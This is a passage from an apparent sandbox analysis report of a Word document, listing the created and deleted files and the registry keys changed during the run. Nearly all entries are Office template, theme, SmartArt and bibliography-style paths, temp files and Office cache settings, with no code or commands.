  1067. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457496fn=Parallax.thmx",
  1068. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5C1.tmp\\content.inf",
  1069. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5F3.tmp\\Element design set.dotx",
  1070. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5D2.tmp\\content.inf",
  1071. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5E2.tmp\\Berlin.thmx",
  1072. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE661.tmp\\Insight design set.dotx",
  1073. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5C1.tmp\\Vapor_Trail.thmx",
  1074. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5F3.tmp\\Content.inf",
  1075. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5D2.tmp\\Main_Event.thmx",
  1076. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5E2.tmp\\content.inf",
  1077. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE76C.tmp\\HexagonRadial.glox",
  1078. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE79C.tmp\\ieee2006officeonline.xsl",
  1079. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM03998158fn=Element.dotx",
  1080. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033917fn=Berlin.thmx",
  1081. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE76C.tmp\\Content.inf",
  1082. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033937fn=Vapor Trail.thmx",
  1083. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE79C.tmp\\Content.inf",
  1084. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328919fn=Hexagon Radial.glox",
  1085. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE661.tmp\\Content.inf",
  1086. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033927fn=Main Event.thmx",
  1087. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851222fn=ieee2006officeonline.xsl",
  1088. "C:\\Users\\user\\AppData\\Local\\Temp\\CabEB46.tmp",
  1089. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM03998159fn=Insight.dotx",
  1090. "C:\\Users\\user\\AppData\\Local\\Temp\\TarEB47.tmp",
  1091. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEB77.tmp\\VaryingWidthList.glox",
  1092. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEB89.tmp\\mlaseventheditionofficeonline.xsl",
  1093. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEB78.tmp\\gb.xsl",
  1094. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEB89.tmp\\Content.inf",
  1095. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEB77.tmp\\Content.inf",
  1096. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEB78.tmp\\Content.inf",
  1097. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328990fn=Varying Width List.glox",
  1098. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851218fn=gb.xsl",
  1099. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851225fn=mlaseventheditionofficeonline.xsl",
  1100. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDED5F.tmp\\Equations.dotx",
  1101. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDED5F.tmp\\Content.inf",
  1102. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM01840907fn=Equations.dotx",
  1103. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEED7.tmp\\CircleProcess.glox",
  1104. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEED7.tmp\\Content.inf",
  1105. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328908fn=Circle Process.glox",
  1106. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEF26.tmp\\chevronaccent.glox",
  1107. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEF26.tmp\\Content.inf",
  1108. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328905fn=Chevron Accent.glox",
  1109. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFE79.tmp\\gostname.xsl",
  1110. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFEA9.tmp\\ThemePictureAccent.glox",
  1111. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFEA9.tmp\\Content.inf",
  1112. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFEAA.tmp\\chicago.xsl",
  1113. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFE79.tmp\\Content.inf",
  1114. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328975fn=Theme Picture Accent.glox",
  1115. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFEAA.tmp\\Content.inf",
  1116. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851217fn=chicago.xsl",
  1117. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851219fn=gostname.xsl",
  1118. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
  1119. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS3A1CE597-685A-48F2-A11A-784A1A2D051C.tmp"
  1120.  
  1121.  
  1122. * Deleted Files:
  1123. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Schemas\\MS Word_restart.xml",
  1124. "C:\\Users\\user\\AppData\\Local\\Temp\\CabB2D2.tmp",
  1125. "C:\\Users\\user\\AppData\\Local\\Temp\\TarB2D3.tmp",
  1126. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\",
  1127. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM10001106fn=Badge.eftx",
  1128. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM10001105fn=Crop.eftx",
  1129. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033929fn=Slate.eftx",
  1130. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM10001106fn=Badge.xml",
  1131. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM10001105fn=Crop.xml",
  1132. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033929fn=Slate.xml",
  1133. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM10001106fn=Badge.xml",
  1134. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM10001105fn=Crop.xml",
  1135. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033929fn=Slate.xml",
  1136. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033921fn=Damask.eftx",
  1137. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033921fn=Damask.xml",
  1138. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457503fn=Quotable.eftx",
  1139. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457503fn=Quotable.xml",
  1140. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033921fn=Damask.xml",
  1141. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457503fn=Quotable.xml",
  1142. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457510fn=Savon.eftx",
  1143. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457491fn=Metropolitan.eftx",
  1144. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457510fn=Savon.xml",
  1145. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457491fn=Metropolitan.xml",
  1146. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457491fn=Metropolitan.xml",
  1147. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457510fn=Savon.xml",
  1148. "C:\\Users\\user\\AppData\\Local\\Temp\\CabC8F2.tmp",
  1149. "C:\\Users\\user\\AppData\\Local\\Temp\\TarC8F3.tmp",
  1150. "C:\\Users\\user\\AppData\\Local\\Temp\\CabC914.tmp",
  1151. "C:\\Users\\user\\AppData\\Local\\Temp\\TarC915.tmp",
  1152. "C:\\Users\\user\\AppData\\Local\\Temp\\CabC926.tmp",
  1153. "C:\\Users\\user\\AppData\\Local\\Temp\\TarC927.tmp",
  1154. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCB4E.tmp",
  1155. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCB4C.tmp",
  1156. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCB4D.tmp",
  1157. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCB5E.tmp",
  1158. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCBEC.tmp",
  1159. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457475fn=Frame.eftx",
  1160. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCB4D.tmp\\rings.glox",
  1161. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457475fn=Frame.xml",
  1162. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCB4E.tmp\\iso690.xsl",
  1163. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCB4C.tmp\\pictureorgchart.glox",
  1164. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457475fn=Frame.xml",
  1165. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC893.tmp",
  1166. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC938.tmp",
  1167. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCBEC.tmp\\architecture.glox",
  1168. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBFD9.tmp",
  1169. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC8F4.tmp",
  1170. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCB5E.tmp\\TabbedArc.glox",
  1171. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD0F0.tmp",
  1172. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBE30.tmp",
  1173. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD163.tmp",
  1174. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD132.tmp",
  1175. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD164.tmp",
  1176. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD184.tmp",
  1177. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD1C4.tmp",
  1178. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD185.tmp",
  1179. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD2B2.tmp",
  1180. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD0F0.tmp\\turabian.xsl",
  1181. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM10001103fn=Headlines.eftx",
  1182. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD164.tmp\\ThemePictureGrid.glox",
  1183. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM10001103fn=Headlines.xml",
  1184. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC853.tmp",
  1185. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD132.tmp\\InterconnectedBlockProcess.glox",
  1186. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD184.tmp\\gosttitle.xsl",
  1187. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD185.tmp\\Banded.thmx",
  1188. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD163.tmp\\sist02.xsl",
  1189. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM10001103fn=Headlines.xml",
  1190. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD2B2.tmp\\Basis.thmx",
  1191. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD1C4.tmp\\Dividend.thmx",
  1192. "C:\\Users\\user\\AppData\\Local\\Temp\\CabD291.tmp",
  1193. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC7C4.tmp",
  1194. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC57E.tmp",
  1195. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC21E.tmp",
  1196. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD0F1.tmp",
  1197. "C:\\Users\\user\\AppData\\Local\\Temp\\TarD292.tmp",
  1198. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD102.tmp",
  1199. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD152.tmp",
  1200. "C:\\Users\\user\\AppData\\Local\\Temp\\cabCE4F.tmp",
  1201. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD93F.tmp",
  1202. "C:\\Users\\user\\AppData\\Local\\Temp\\CabD777.tmp",
  1203. "C:\\Users\\user\\AppData\\Local\\Temp\\TarD778.tmp",
  1204. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDAC7.tmp",
  1205. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDAC9.tmp",
  1206. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDAC8.tmp",
  1207. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD93F.tmp\\Wood_Type.thmx",
  1208. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDC32.tmp",
  1209. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDAC9.tmp\\ConvergingText.glox",
  1210. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDD2F.tmp",
  1211. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD727.tmp",
  1212. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC746.tmp",
  1213. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDD2F.tmp\\RadialPictureList.glox",
  1214. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDC32.tmp\\View.thmx",
  1215. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC3A7.tmp",
  1216. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE243.tmp",
  1217. "C:\\Users\\user\\AppData\\Local\\Temp\\cabCE20.tmp",
  1218. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDAC7.tmp\\Circuit.thmx",
  1219. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDAC8.tmp\\Droplet.thmx",
  1220. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE38E.tmp",
  1221. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE38E.tmp\\Feathered.thmx",
  1222. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE243.tmp\\Parallax.thmx",
  1223. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5C1.tmp",
  1224. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5F3.tmp",
  1225. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5D2.tmp",
  1226. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD815.tmp",
  1227. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5E2.tmp",
  1228. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD99D.tmp",
  1229. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE661.tmp",
  1230. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE76C.tmp",
  1231. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE79C.tmp",
  1232. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5F3.tmp\\Element design set.dotx",
  1233. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDD0E.tmp",
  1234. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDCDF.tmp",
  1235. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457485fn=Mesh.eftx",
  1236. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5E2.tmp\\Berlin.thmx",
  1237. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5C1.tmp\\Vapor_Trail.thmx",
  1238. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457485fn=Mesh.xml",
  1239. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE76C.tmp\\HexagonRadial.glox",
  1240. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBDE1.tmp",
  1241. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457485fn=Mesh.xml",
  1242. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE5D2.tmp\\Main_Event.thmx",
  1243. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE79C.tmp\\ieee2006officeonline.xsl",
  1244. "C:\\Users\\user\\AppData\\Local\\Temp\\cabE08C.tmp",
  1245. "C:\\Users\\user\\AppData\\Local\\Temp\\cabE34E.tmp",
  1246. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC122.tmp",
  1247. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE661.tmp\\Insight design set.dotx",
  1248. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBFB8.tmp",
  1249. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDFFE.tmp",
  1250. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEB77.tmp",
  1251. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEB89.tmp",
  1252. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEB78.tmp",
  1253. "C:\\Users\\user\\AppData\\Local\\Temp\\cabE2EF.tmp",
  1254. "C:\\Users\\user\\AppData\\Local\\Temp\\CabEB46.tmp",
  1255. "C:\\Users\\user\\AppData\\Local\\Temp\\TarEB47.tmp",
  1256. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEB77.tmp\\VaryingWidthList.glox",
  1257. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEB78.tmp\\gb.xsl",
  1258. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEB89.tmp\\mlaseventheditionofficeonline.xsl",
  1259. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC7D5.tmp",
  1260. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC23E.tmp",
  1261. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC854.tmp",
  1262. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDED5F.tmp",
  1263. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDED5F.tmp\\Equations.dotx",
  1264. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC61B.tmp",
  1265. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEED7.tmp",
  1266. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEED7.tmp\\CircleProcess.glox",
  1267. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEF26.tmp",
  1268. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC493.tmp",
  1269. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDEF26.tmp\\chevronaccent.glox",
  1270. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC68A.tmp",
  1271. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFE79.tmp",
  1272. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFEA9.tmp",
  1273. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFEAA.tmp",
  1274. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFEA9.tmp\\ThemePictureAccent.glox",
  1275. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFEAA.tmp\\chicago.xsl",
  1276. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDFE79.tmp\\gostname.xsl",
  1277. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC397.tmp",
  1278. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBFB7.tmp",
  1279. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC1DE.tmp",
  1280. "C:\\Users\\user\\AppData\\Local\\Temp\\~$cs_912241f9985aac45bbd1cec28ac2e334.doc",
  1281. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRSB1E82E10-1CEA-4E33-9DD5-A004B7BB1F9A.tmp",
  1282. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\~$Normal.dotm",
  1283. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS3A1CE597-685A-48F2-A11A-784A1A2D051C.tmp",
  1284. "C:\\Users\\user\\AppData\\Local\\Temp\\CVR9C1D.tmp.cvr"
  1285.  
  1286.  
  1287. * Modified Registry Keys:
  1288. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\2$q",
  1289. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
  1290. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\Trusted Documents\\LastPurgeTime",
  1291. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache",
  1292. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\RemoteClearDate",
  1293. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1",
  1294. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\Last",
  1295. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0",
  1296. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\FilePath",
  1297. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\StartDate",
  1298. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\EndDate",
  1299. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Properties",
  1300. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Url",
  1301. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\LastClean",
  1302. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle",
  1303. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle\\ReviewToken",
  1304. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1305. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1306. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery",
  1307. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\D00400",
  1308. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\D00400\\D00400",
  1309. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\OUTLOOKFiles",
  1310. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Cloud Storage",
  1311. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ForceCacheRefresh",
  1312. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OnceSucceeded",
  1313. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1314. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1315. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT",
  1316. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Capabilities",
  1317. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ConnectMechanism",
  1318. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsManaged",
  1319. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsRemovable",
